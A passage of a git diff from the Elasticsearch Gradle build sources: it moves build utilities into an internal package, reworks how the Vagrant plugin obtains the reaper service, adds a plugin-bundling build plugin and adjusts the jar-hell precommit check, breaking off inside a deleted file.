org.elasticsearch.gradle.info.JavaHome; +import org.elasticsearch.gradle.internal.info.BuildParams; +import org.elasticsearch.gradle.internal.info.JavaHome; import org.gradle.api.GradleException; import java.util.List; diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/util/Util.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/util/Util.java similarity index 97% rename from buildSrc/src/main/java/org/elasticsearch/gradle/util/Util.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/util/Util.java index f1f9473ecf920..f00c32bda3ec9 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/util/Util.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/util/Util.java @@ -6,9 +6,10 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle.util; +package org.elasticsearch.gradle.internal.util; -import org.elasticsearch.gradle.info.GlobalBuildInfoPlugin; +import org.elasticsearch.gradle.internal.info.GlobalBuildInfoPlugin; +import org.elasticsearch.gradle.util.GradleUtils; import org.gradle.api.Action; import org.gradle.api.GradleException; import org.gradle.api.Project; diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/util/ports/AvailablePortAllocator.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/util/ports/AvailablePortAllocator.java similarity index 96% rename from buildSrc/src/main/java/org/elasticsearch/gradle/util/ports/AvailablePortAllocator.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/util/ports/AvailablePortAllocator.java index 17ac5eb8f66d4..61b8e559a9486 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/util/ports/AvailablePortAllocator.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/util/ports/AvailablePortAllocator.java @@ -6,7 +6,7 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle.util.ports; +package org.elasticsearch.gradle.internal.util.ports; import org.gradle.internal.Pair; diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/util/ports/DefaultPortDetector.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/util/ports/DefaultPortDetector.java similarity index 95% rename from buildSrc/src/main/java/org/elasticsearch/gradle/util/ports/DefaultPortDetector.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/util/ports/DefaultPortDetector.java index 30b7ace3baec2..dcc1c117031fb 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/util/ports/DefaultPortDetector.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/util/ports/DefaultPortDetector.java @@ -6,7 +6,7 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle.util.ports; +package org.elasticsearch.gradle.internal.util.ports; import java.io.IOException; import java.net.DatagramSocket; diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/util/ports/DefaultReservedPortRangeFactory.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/util/ports/DefaultReservedPortRangeFactory.java similarity index 91% rename from buildSrc/src/main/java/org/elasticsearch/gradle/util/ports/DefaultReservedPortRangeFactory.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/util/ports/DefaultReservedPortRangeFactory.java index 8218c4f465564..c89f52de61af8 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/util/ports/DefaultReservedPortRangeFactory.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/util/ports/DefaultReservedPortRangeFactory.java @@ -6,7 +6,7 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle.util.ports; +package org.elasticsearch.gradle.internal.util.ports; public class DefaultReservedPortRangeFactory implements ReservedPortRangeFactory { @Override diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/util/ports/PortDetector.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/util/ports/PortDetector.java similarity index 88% rename from buildSrc/src/main/java/org/elasticsearch/gradle/util/ports/PortDetector.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/util/ports/PortDetector.java index 4e373f14e5775..7119145d4badb 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/util/ports/PortDetector.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/util/ports/PortDetector.java @@ -6,7 +6,7 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle.util.ports; +package org.elasticsearch.gradle.internal.util.ports; public interface PortDetector { boolean isAvailable(int port); diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/util/ports/ReservedPortRange.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/util/ports/ReservedPortRange.java similarity index 98% rename from buildSrc/src/main/java/org/elasticsearch/gradle/util/ports/ReservedPortRange.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/util/ports/ReservedPortRange.java index 06cd4311ccfb5..811fc10a00ae8 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/util/ports/ReservedPortRange.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/util/ports/ReservedPortRange.java @@ -6,7 +6,7 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle.util.ports; +package org.elasticsearch.gradle.internal.util.ports; import java.util.ArrayList; import java.util.HashMap; diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/util/ports/ReservedPortRangeFactory.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/util/ports/ReservedPortRangeFactory.java similarity index 89% rename from buildSrc/src/main/java/org/elasticsearch/gradle/util/ports/ReservedPortRangeFactory.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/util/ports/ReservedPortRangeFactory.java index 3fb579ce56999..afcb61c326427 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/util/ports/ReservedPortRangeFactory.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/util/ports/ReservedPortRangeFactory.java @@ -6,7 +6,7 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle.util.ports; +package org.elasticsearch.gradle.internal.util.ports; public interface ReservedPortRangeFactory { ReservedPortRange getReservedPortRange(int startPort, int endPort); diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/vagrant/VagrantBasePlugin.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/vagrant/VagrantBasePlugin.java similarity index 90% rename from buildSrc/src/main/java/org/elasticsearch/gradle/vagrant/VagrantBasePlugin.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/vagrant/VagrantBasePlugin.java index 18049ea624606..10fe51bbef729 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/vagrant/VagrantBasePlugin.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/vagrant/VagrantBasePlugin.java @@ -6,10 +6,11 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle.vagrant; +package org.elasticsearch.gradle.internal.vagrant; import org.elasticsearch.gradle.ReaperPlugin; -import org.elasticsearch.gradle.ReaperService; +import org.elasticsearch.gradle.internal.InternalReaperPlugin; +import org.elasticsearch.gradle.util.GradleUtils; import org.gradle.api.Plugin; import org.gradle.api.Project; import org.gradle.api.Task; @@ -33,11 +34,11 @@ public class VagrantBasePlugin implements Plugin { public void apply(Project project) { project.getRootProject().getPluginManager().apply(VagrantSetupCheckerPlugin.class); project.getRootProject().getPluginManager().apply(VagrantManagerPlugin.class); - project.getRootProject().getPluginManager().apply(ReaperPlugin.class); + project.getRootProject().getPluginManager().apply(InternalReaperPlugin.class); - ReaperService reaper = project.getRootProject().getExtensions().getByType(ReaperService.class); - VagrantExtension extension = project.getExtensions().create("vagrant", VagrantExtension.class, project); - VagrantMachine service = project.getExtensions().create("vagrantService", VagrantMachine.class, project, extension, reaper); + var reaperServiceProvider = GradleUtils.getBuildService(project.getGradle().getSharedServices(), ReaperPlugin.REAPER_SERVICE_NAME); + var extension = project.getExtensions().create("vagrant", VagrantExtension.class, project); + var service = project.getExtensions().create("vagrantService", VagrantMachine.class, extension, reaperServiceProvider); project.getGradle() .getTaskGraph() diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/vagrant/VagrantExtension.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/vagrant/VagrantExtension.java similarity index 97% rename from buildSrc/src/main/java/org/elasticsearch/gradle/vagrant/VagrantExtension.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/vagrant/VagrantExtension.java index da6445cc8491b..67799e6a6e751 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/vagrant/VagrantExtension.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/vagrant/VagrantExtension.java @@ -6,7 +6,7 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle.vagrant; +package org.elasticsearch.gradle.internal.vagrant; import org.gradle.api.Project; import org.gradle.api.file.RegularFileProperty; diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/vagrant/VagrantMachine.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/vagrant/VagrantMachine.java similarity index 93% rename from buildSrc/src/main/java/org/elasticsearch/gradle/vagrant/VagrantMachine.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/vagrant/VagrantMachine.java index a4f47d9b7467b..757db5719f238 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/vagrant/VagrantMachine.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/vagrant/VagrantMachine.java @@ -6,15 +6,16 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle.vagrant; +package org.elasticsearch.gradle.internal.vagrant; import org.apache.commons.io.output.TeeOutputStream; import org.elasticsearch.gradle.LoggedExec; -import org.elasticsearch.gradle.LoggingOutputStream; +import org.elasticsearch.gradle.internal.LoggingOutputStream; import org.elasticsearch.gradle.ReaperService; -import org.elasticsearch.gradle.util.Util; +import org.elasticsearch.gradle.internal.util.Util; import org.gradle.api.Action; import org.gradle.api.Project; +import org.gradle.api.provider.Provider; import org.gradle.internal.logging.progress.ProgressLogger; import org.gradle.internal.logging.progress.ProgressLoggerFactory; import org.gradle.process.ExecOperations; @@ -35,17 +36,16 @@ */ public class VagrantMachine { - private final Project project; private final VagrantExtension extension; - private final ReaperService reaper; + private final Provider reaperServiceProvider; + private ReaperService reaper; // pkg private so plugin can set this after construction long refs; private boolean isVMStarted = false; - public VagrantMachine(Project project, VagrantExtension extension, ReaperService reaper) { - this.project = project; + public VagrantMachine(VagrantExtension extension, Provider reaperServiceProvider) { this.extension = extension; - this.reaper = reaper; + this.reaperServiceProvider = reaperServiceProvider; } @Inject @@ -97,7 +97,6 @@ void maybeStartVM() { if (isVMStarted) { return; } - execute(spec -> { spec.setCommand("box"); spec.setSubcommand("update"); @@ -114,6 +113,7 @@ void maybeStartVM() { } // register box to be shutdown if gradle dies + reaper = reaperServiceProvider.get(); reaper.registerCommand(extension.getBox(), "vagrant", "halt", "-f", extension.getBox()); // We lock the provider to virtualbox because the Vagrantfile specifies lots of boxes that only work diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/vagrant/VagrantProgressLogger.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/vagrant/VagrantProgressLogger.java similarity index 97% rename from buildSrc/src/main/java/org/elasticsearch/gradle/vagrant/VagrantProgressLogger.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/vagrant/VagrantProgressLogger.java index 75581c42a3005..a204bbc668db8 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/vagrant/VagrantProgressLogger.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/vagrant/VagrantProgressLogger.java @@ -6,7 +6,7 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle.vagrant; +package org.elasticsearch.gradle.internal.vagrant; import java.util.function.UnaryOperator; diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/vagrant/VagrantShellTask.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/vagrant/VagrantShellTask.java similarity index 94% rename from buildSrc/src/main/java/org/elasticsearch/gradle/vagrant/VagrantShellTask.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/vagrant/VagrantShellTask.java index c75d51a5f4250..6524c44be147c 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/vagrant/VagrantShellTask.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/vagrant/VagrantShellTask.java @@ -6,7 +6,7 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle.vagrant; +package org.elasticsearch.gradle.internal.vagrant; import org.gradle.api.DefaultTask; import org.gradle.api.tasks.Input; @@ -18,8 +18,8 @@ import java.util.function.UnaryOperator; import java.util.stream.Collectors; -import static org.elasticsearch.gradle.vagrant.VagrantMachine.convertLinuxPath; -import static org.elasticsearch.gradle.vagrant.VagrantMachine.convertWindowsPath; +import static org.elasticsearch.gradle.internal.vagrant.VagrantMachine.convertLinuxPath; +import static org.elasticsearch.gradle.internal.vagrant.VagrantMachine.convertWindowsPath; /** * A shell script to run within a vagrant VM. diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/plugin/PluginBuildPlugin.java b/buildSrc/src/main/java/org/elasticsearch/gradle/plugin/PluginBuildPlugin.java new file mode 100644 index 0000000000000..d3b6a76345ab0 --- /dev/null +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/plugin/PluginBuildPlugin.java @@ -0,0 +1,243 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.plugin; + +import com.github.jengelman.gradle.plugins.shadow.ShadowPlugin; +import groovy.lang.Closure; +import org.apache.commons.io.FileUtils; +import org.apache.commons.io.IOUtils; +import org.elasticsearch.gradle.Version; +import org.elasticsearch.gradle.VersionProperties; +import org.elasticsearch.gradle.dependencies.CompileOnlyResolvePlugin; +import org.elasticsearch.gradle.precommit.PrecommitTasks; +import org.elasticsearch.gradle.testclusters.ElasticsearchCluster; +import org.elasticsearch.gradle.testclusters.RunTask; +import org.elasticsearch.gradle.testclusters.TestClustersPlugin; +import org.elasticsearch.gradle.util.GradleUtils; +import org.gradle.api.Action; +import org.gradle.api.GradleException; +import org.gradle.api.InvalidUserDataException; +import org.gradle.api.NamedDomainObjectContainer; +import org.gradle.api.Plugin; +import org.gradle.api.Project; +import org.gradle.api.Task; +import org.gradle.api.Transformer; +import org.gradle.api.file.RegularFile; +import org.gradle.api.plugins.BasePlugin; +import org.gradle.api.plugins.JavaPlugin; +import org.gradle.api.plugins.JavaPluginExtension; +import org.gradle.api.provider.Provider; +import org.gradle.api.publish.PublishingExtension; +import org.gradle.api.publish.maven.MavenPublication; +import org.gradle.api.publish.maven.plugins.MavenPublishPlugin; +import org.gradle.api.tasks.Copy; +import org.gradle.api.tasks.SourceSetContainer; +import org.gradle.api.tasks.TaskProvider; +import org.gradle.api.tasks.bundling.Zip; + +import java.io.File; +import java.io.IOException; +import java.io.InputStream; +import java.nio.charset.StandardCharsets; +import java.util.LinkedHashMap; +import java.util.Map; +import java.util.stream.Collectors; + +/** + * Encapsulates build configuration for an Elasticsearch plugin. + */ +public class PluginBuildPlugin implements Plugin { + @Override + public void apply(final Project project) { + PrecommitTasks.create(project); + project.getPluginManager().apply(JavaPlugin.class); + project.getPluginManager().apply(TestClustersPlugin.class); + project.getPluginManager().apply(CompileOnlyResolvePlugin.class); + + var extension = project.getExtensions().create(PLUGIN_EXTENSION_NAME, PluginPropertiesExtension.class, project); + configureDependencies(project); + + final var bundleTask = createBundleTasks(project, extension); + project.afterEvaluate(project1 -> { + project1.getExtensions().getByType(PluginPropertiesExtension.class).getExtendedPlugins().forEach(pluginName -> { + // Auto add dependent modules to the test cluster + if (project1.findProject(":modules:" + pluginName) != null) { + NamedDomainObjectContainer testClusters = testClusters(project, "testClusters"); + testClusters.all(elasticsearchCluster -> elasticsearchCluster.module(":modules:" + pluginName)); + } + }); + final var extension1 = project1.getExtensions().getByType(PluginPropertiesExtension.class); + configurePublishing(project1, extension1); + var name = extension1.getName(); + project1.setProperty("archivesBaseName", name); + project1.setDescription(extension1.getDescription()); + + if (extension1.getName() == null) { + throw new InvalidUserDataException("name is a required setting for esplugin"); + } + + if (extension1.getDescription() == null) { + throw new InvalidUserDataException("description is a required setting for esplugin"); + } + + if (extension1.getType().equals(PluginType.BOOTSTRAP) == false && extension1.getClassname() == null) { + throw new InvalidUserDataException("classname is a required setting for esplugin"); + } + + Map map = new LinkedHashMap<>(12); + map.put("name", extension1.getName()); + map.put("description", extension1.getDescription()); + map.put("version", extension1.getVersion()); + map.put("elasticsearchVersion", Version.fromString(VersionProperties.getElasticsearch()).toString()); + map.put("javaVersion", project1.getExtensions().getByType(JavaPluginExtension.class).getTargetCompatibility().toString()); + map.put("classname", extension1.getType().equals(PluginType.BOOTSTRAP) ? "" : extension1.getClassname()); + map.put("extendedPlugins", extension1.getExtendedPlugins().stream().collect(Collectors.joining(","))); + map.put("hasNativeController", extension1.isHasNativeController()); + map.put("requiresKeystore", extension1.isRequiresKeystore()); + map.put("type", extension1.getType().toString()); + map.put("javaOpts", extension1.getJavaOpts()); + map.put("licensed", extension1.isLicensed()); + project1.getTasks().withType(Copy.class).named("pluginProperties").configure(copy -> { + copy.expand(map); + copy.getInputs().properties(map); + }); + }); + project.getConfigurations().getByName("default").extendsFrom(project.getConfigurations().getByName("runtimeClasspath")); + + // allow running ES with this plugin in the foreground of a build + var testClusters = testClusters(project, TestClustersPlugin.EXTENSION_NAME); + final var runCluster = testClusters.create("runTask", cluster -> { + if (GradleUtils.isModuleProject(project.getPath())) { + cluster.module(bundleTask.flatMap((Transformer, Zip>) zip -> zip.getArchiveFile())); + } else { + cluster.plugin(bundleTask.flatMap((Transformer, Zip>) zip -> zip.getArchiveFile())); + } + }); + + project.getTasks().register("run", RunTask.class, runTask -> { + runTask.useCluster(runCluster); + runTask.dependsOn(project.getTasks().named("bundlePlugin")); + }); + } + + @SuppressWarnings("unchecked") + private static NamedDomainObjectContainer testClusters(Project project, String extensionName) { + return (NamedDomainObjectContainer) project.getExtensions().getByName(extensionName); + } + + private static void configurePublishing(Project project, PluginPropertiesExtension extension) { + if (project.getPlugins().hasPlugin(MavenPublishPlugin.class)) { + PublishingExtension publishingExtension = project.getExtensions().getByType(PublishingExtension.class); + MavenPublication elastic = publishingExtension.getPublications().maybeCreate("elastic", MavenPublication.class); + elastic.setArtifactId(extension.getName()); + } + } + + private static void configureDependencies(final Project project) { + var dependencies = project.getDependencies(); + dependencies.add("compileOnly", "org.elasticsearch:elasticsearch:" + VersionProperties.getElasticsearch()); + dependencies.add("testImplementation", "org.elasticsearch.test:framework:" + VersionProperties.getElasticsearch()); + + // we "upgrade" these optional deps to provided for plugins, since they will run + // with a full elasticsearch server that includes optional deps + dependencies.add("compileOnly", "org.locationtech.spatial4j:spatial4j:" + VersionProperties.getVersions().get("spatial4j")); + dependencies.add("compileOnly", "org.locationtech.jts:jts-core:" + VersionProperties.getVersions().get("jts")); + dependencies.add("compileOnly", "org.apache.logging.log4j:log4j-api:" + VersionProperties.getVersions().get("log4j")); + dependencies.add("compileOnly", "org.apache.logging.log4j:log4j-core:" + VersionProperties.getVersions().get("log4j")); + dependencies.add("compileOnly", "org.elasticsearch:jna:" + VersionProperties.getVersions().get("jna")); + } + + /** + * Adds a bundlePlugin task which builds the zip containing the plugin jars, + * metadata, properties, and packaging files + */ + private static TaskProvider createBundleTasks(final Project project, PluginPropertiesExtension extension) { + final var pluginMetadata = project.file("src/main/plugin-metadata"); + final var templateFile = new File(project.getBuildDir(), "templates/plugin-descriptor.properties"); + + // create tasks to build the properties file for this plugin + final var copyPluginPropertiesTemplate = project.getTasks().register("copyPluginPropertiesTemplate", new Action() { + @Override + public void execute(Task task) { + task.getOutputs().file(templateFile); + // intentionally an Action and not a lambda to avoid issues with up-to-date check + task.doLast(new Action() { + @Override + public void execute(Task task) { + InputStream resourceTemplate = PluginBuildPlugin.class.getResourceAsStream("/" + templateFile.getName()); + try { + String templateText = IOUtils.toString(resourceTemplate, StandardCharsets.UTF_8.name()); + FileUtils.write(templateFile, templateText, "UTF-8"); + } catch (IOException e) { + throw new GradleException("Unable to copy plugin properties", e); + } + } + }); + } + }); + final var buildProperties = project.getTasks().register("pluginProperties", Copy.class, copy -> { + copy.dependsOn(copyPluginPropertiesTemplate); + copy.from(templateFile); + copy.into(new File(project.getBuildDir(), "generated-resources")); + }); + // add the plugin properties and metadata to test resources, so unit tests can + // know about the plugin (used by test security code to statically initialize the plugin in unit tests) + var testSourceSet = project.getExtensions().getByType(SourceSetContainer.class).getByName("test"); + Map map = Map.of("builtBy", buildProperties); + testSourceSet.getOutput().dir(map, new File(project.getBuildDir(), "generated-resources")); + testSourceSet.getResources().srcDir(pluginMetadata); + + // create the actual bundle task, which zips up all the files for the plugin + final var bundle = project.getTasks().register("bundlePlugin", Zip.class, zip -> { + zip.from(buildProperties); + zip.from(pluginMetadata, copySpec -> { + // metadata (eg custom security policy) + // the codebases properties file is only for tests and not needed in production + copySpec.exclude("plugin-security.codebases"); + }); + + /* + * If the plugin is using the shadow plugin then we need to bundle + * that shadow jar. + */ + zip.from(new Closure(null, null) { + public Object doCall(Object it) { + return project.getPlugins().hasPlugin(ShadowPlugin.class) + ? project.getTasks().named("shadowJar") + : project.getTasks().named("jar"); + } + + public Object doCall() { + return doCall(null); + } + + }); + zip.from( + project.getConfigurations() + .getByName("runtimeClasspath") + .minus(project.getConfigurations().getByName(CompileOnlyResolvePlugin.RESOLVEABLE_COMPILE_ONLY_CONFIGURATION_NAME)) + ); + // extra files for the plugin to go into the zip + zip.from("src/main/packaging");// TODO: move all config/bin/_size/etc into packaging + zip.from("src/main", copySpec -> { + copySpec.include("config/**"); + copySpec.include("bin/**"); + }); + }); + project.getTasks().named(BasePlugin.ASSEMBLE_TASK_NAME).configure(task -> task.dependsOn(bundle)); + + // also make the zip available as a configuration (used when depending on this project) + project.getConfigurations().create("zip"); + project.getArtifacts().add("zip", bundle); + + return bundle; + } + + public static final String PLUGIN_EXTENSION_NAME = "esplugin"; +} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/precommit/JarHellPrecommitPlugin.java b/buildSrc/src/main/java/org/elasticsearch/gradle/precommit/JarHellPrecommitPlugin.java index 527157e458e62..1236c8b1c5f1d 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/precommit/JarHellPrecommitPlugin.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/precommit/JarHellPrecommitPlugin.java @@ -8,8 +8,7 @@ package org.elasticsearch.gradle.precommit; -import org.elasticsearch.gradle.info.BuildParams; -import org.elasticsearch.gradle.util.Util; +import org.elasticsearch.gradle.internal.util.Util; import org.gradle.api.Project; import org.gradle.api.Task; import org.gradle.api.artifacts.Configuration; @@ -20,17 +19,11 @@ public class JarHellPrecommitPlugin extends PrecommitPlugin { @Override public TaskProvider createTask(Project project) { Configuration jarHellConfig = project.getConfigurations().create("jarHell"); - if (BuildParams.isInternal() && project.getPath().equals(":libs:elasticsearch-core") == false) { - // ideally we would configure this as a default dependency. But Default dependencies do not work correctly - // with gradle project dependencies as they're resolved to late in the build and don't setup according task - // dependencies properly - project.getDependencies().add("jarHell", project.project(":libs:elasticsearch-core")); - } TaskProvider jarHell = project.getTasks().register("jarHell", JarHellTask.class); jarHell.configure(t -> { SourceSet testSourceSet = Util.getJavaTestSourceSet(project).get(); - t.setClasspath(testSourceSet.getRuntimeClasspath().plus(jarHellConfig)); - t.dependsOn(jarHellConfig); + t.setClasspath(testSourceSet.getRuntimeClasspath()); + t.setJarHellRuntimeClasspath(jarHellConfig); }); return jarHell; diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/precommit/JarHellTask.java b/buildSrc/src/main/java/org/elasticsearch/gradle/precommit/JarHellTask.java index c9ca01af58f6a..c68bda1822f43 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/precommit/JarHellTask.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/precommit/JarHellTask.java @@ -11,6 +11,7 @@ import org.elasticsearch.gradle.LoggedExec; import org.gradle.api.file.FileCollection; import org.gradle.api.tasks.CacheableTask; +import org.gradle.api.tasks.Classpath; import org.gradle.api.tasks.CompileClasspath; import org.gradle.api.tasks.TaskAction; import org.gradle.process.ExecOperations; @@ -24,6 +25,8 @@ @CacheableTask public class JarHellTask extends PrecommitTask { + private FileCollection jarHellRuntimeClasspath; + private FileCollection classpath; private ExecOperations execOperations; @@ -36,7 +39,7 @@ public JarHellTask(ExecOperations execOperations) { @TaskAction public void runJarHellCheck() { LoggedExec.javaexec(execOperations, spec -> { - spec.environment("CLASSPATH", getClasspath().getAsPath()); + spec.environment("CLASSPATH", getJarHellRuntimeClasspath().plus(getClasspath()).getAsPath()); spec.setMain("org.elasticsearch.bootstrap.JarHell"); }); } @@ -52,4 +55,12 @@ public void setClasspath(FileCollection classpath) { this.classpath = classpath; } + @Classpath + public FileCollection getJarHellRuntimeClasspath() { + return jarHellRuntimeClasspath; + } + + public void setJarHellRuntimeClasspath(FileCollection jarHellRuntimeClasspath) { + this.jarHellRuntimeClasspath = jarHellRuntimeClasspath; + } } diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/precommit/PrecommitPlugin.java b/buildSrc/src/main/java/org/elasticsearch/gradle/precommit/PrecommitPlugin.java index b5b20c305ce66..b12a7cae15d63 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/precommit/PrecommitPlugin.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/precommit/PrecommitPlugin.java @@ -12,7 +12,6 @@ import org.gradle.api.Plugin; import org.gradle.api.Project; import org.gradle.api.Task; -import org.gradle.api.tasks.SourceSet; import org.gradle.api.tasks.TaskProvider; /** @@ -29,16 +28,10 @@ public final void apply(Project project) { TaskProvider precommit = project.getTasks().named(PRECOMMIT_TASK_NAME); precommit.configure(t -> t.dependsOn(task)); - project.getPluginManager() - .withPlugin( - "java", - p -> { - // We want to get any compilation error before running the pre-commit checks. - for (SourceSet sourceSet : GradleUtils.getJavaSourceSets(project)) { - task.configure(t -> t.shouldRunAfter(sourceSet.getClassesTaskName())); - } - } - ); + project.getPluginManager().withPlugin("java", p -> { + // We want to get any compilation error before running the pre-commit checks. + GradleUtils.getJavaSourceSets(project).all(sourceSet -> task.configure(t -> t.shouldRunAfter(sourceSet.getClassesTaskName()))); + }); } public abstract TaskProvider createTask(Project project); diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/precommit/PrecommitTaskPlugin.java b/buildSrc/src/main/java/org/elasticsearch/gradle/precommit/PrecommitTaskPlugin.java index 2599016c15390..f5d554dca2711 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/precommit/PrecommitTaskPlugin.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/precommit/PrecommitTaskPlugin.java @@ -13,7 +13,6 @@ import org.gradle.api.Project; import org.gradle.api.Task; import org.gradle.api.plugins.JavaBasePlugin; -import org.gradle.api.tasks.SourceSet; import org.gradle.api.tasks.TaskProvider; import org.gradle.api.tasks.testing.Test; import org.gradle.language.base.plugins.LifecycleBasePlugin; @@ -32,18 +31,12 @@ public void apply(Project project) { "lifecycle-base", p -> project.getTasks().named(LifecycleBasePlugin.CHECK_TASK_NAME).configure(t -> t.dependsOn(precommit)) ); - project.getPluginManager() - .withPlugin( - "java", - p -> { - // run compilation as part of precommit - for (SourceSet sourceSet : GradleUtils.getJavaSourceSets(project)) { - precommit.configure(t -> t.dependsOn(sourceSet.getClassesTaskName())); - } + project.getPluginManager().withPlugin("java", p -> { + // run compilation as part of precommit + GradleUtils.getJavaSourceSets(project).all(sourceSet -> precommit.configure(t -> t.dependsOn(sourceSet.getClassesTaskName()))); - // make sure tests run after all precommit tasks - project.getTasks().withType(Test.class).configureEach(t -> t.mustRunAfter(precommit)); - } - ); + // make sure tests run after all precommit tasks + project.getTasks().withType(Test.class).configureEach(t -> t.mustRunAfter(precommit)); + }); } } diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/tar/SymoblicLinkPreservingTarPlugin.java b/buildSrc/src/main/java/org/elasticsearch/gradle/tar/SymoblicLinkPreservingTarPlugin.java deleted file mode 100644 index 167cbc975570c..0000000000000 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/tar/SymoblicLinkPreservingTarPlugin.java +++ /dev/null @@ -1,21 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0 and the Server Side Public License, v 1; you may not use this file except - * in compliance with, at your election, the Elastic License 2.0 or the Server - * Side Public License, v 1. - */ - -package org.elasticsearch.gradle.tar; - -import org.gradle.api.Plugin; -import org.gradle.api.Project; - -public class SymoblicLinkPreservingTarPlugin implements Plugin { - - @Override - public void apply(final Project target) { - - } - -} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/CopyRestApiTask.java b/buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/CopyRestApiTask.java deleted file mode 100644 index 752c80b8cd63a..0000000000000 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/CopyRestApiTask.java +++ /dev/null @@ -1,259 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0 and the Server Side Public License, v 1; you may not use this file except - * in compliance with, at your election, the Elastic License 2.0 or the Server - * Side Public License, v 1. - */ -package org.elasticsearch.gradle.test.rest; - -import org.elasticsearch.gradle.VersionProperties; -import org.elasticsearch.gradle.info.BuildParams; -import org.gradle.api.DefaultTask; -import org.gradle.api.file.ArchiveOperations; -import 